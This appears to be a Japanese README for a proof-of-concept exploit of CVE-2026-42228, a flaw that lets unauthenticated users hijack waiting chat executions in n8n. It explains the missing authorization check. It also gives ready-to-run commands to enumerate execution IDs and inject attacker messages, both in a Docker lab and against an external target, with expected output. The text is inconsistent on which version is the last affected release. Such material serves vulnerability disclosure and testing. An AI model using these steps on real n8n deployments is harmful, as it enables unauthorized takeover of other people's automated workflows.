
CVE-2026-42228の概念実証エクスプロイト。n8nにおける未認証のチャット実行ハイジャックの脆弱性であり、自動スキャンおよび攻撃スクリプトを備えています。
CVE: CVE-2026-42228
深刻度: 高
影響を受けるバージョン: n8n < 1.123.32
修正バージョン: n8n 1.123.32 / 2.17.4 / 2.18.1
chat-service.ts :: startSession() は、WebSocket クエリ文字列から executionId を受け取り、その実行がデータベースに存在することだけをチェックします。呼び出し元がその実行にアクセスする権限を持っているかどうかは検証しません。
待機状態の実行に対する有効な数値実行 ID を知っている(または列挙できる)未認証の攻撃者は、以下のことが可能です:
/chat WebSocket に接続する。前提条件:
waiting 状態であること。chmod +x exploit.sh
./exploit.sh setup
これにより、n8nio/n8n:1.123.22(影響を受ける最後のリリース)がプルされ、攻撃者イメージがビルドされ、脆弱なターゲットが http://localhost:5678 で起動します。
http://localhost:5678 を開き、セットアップウィザードを完了します(任意の認証情報)。チャットトリガーノードに表示されている公開チャット URL を開き、メッセージを送信します。実行は待機状態になり、次のチャット返信を待って一時停止します。
./exploit.sh scan
# または範囲を指定:
./exploit.sh scan 1 500
脆弱な実行が見つかった場合の期待される出力:
[+] WAITING execution found! exec_id=7
Server said: 'n8n|continue'
Server said: '{"action":"sendMessage","sessionId":"...","chatInput":"Hello"}'
[!!!] Hijack payload sent: '[CVE-2026-42228] hijacked by PoC'
./exploit.sh attack 7
# またはカスタムペイロードを使用:
./exploit.sh attack 7 "custom injected message"
n8n エディタに戻ると、ワークフローは正当なユーザーの入力ではなく、攻撃者が注入したメッセージで再開されます。
# 攻撃者イメージをビルド
docker build -t n8n-chat-hijack-poc .
# スキャン(共有ラボネットワークに接続)
docker run --rm --network ghsa-f77h-j2v7-g6mw_lab \
n8n-chat-hijack-poc \
--target http://n8n-vuln:5678 \
--start-id 1 --end-id 200
# 特定の実行を攻撃
docker run --rm --network ghsa-f77h-j2v7-g6mw_lab \
n8n-chat-hijack-poc \
--target http://n8n-vuln:5678 \
--exec-id 7 --inject "PWNED"
# 外部ターゲットに対して(ネットワークフラグは不要)
docker run --rm n8n-chat-hijack-poc \
--target https://n8n.example.com \
--exec-id 42 --inject "PWNED"
./exploit.sh clean
コンテナを停止し、ボリューム(SQLite データベースを含む)を削除します。
| ファイル | 説明 |
|---|---|
poc_GHSA-f77h-j2v7-g6mw.py | スタンドアロンの Python PoC |
Dockerfile | 攻撃者コンテナイメージ |
docker-compose.yml |
| 完全なラボ: 脆弱な n8n + 攻撃者 |
exploit.sh | 一般的な操作のためのヘルパースクリプト |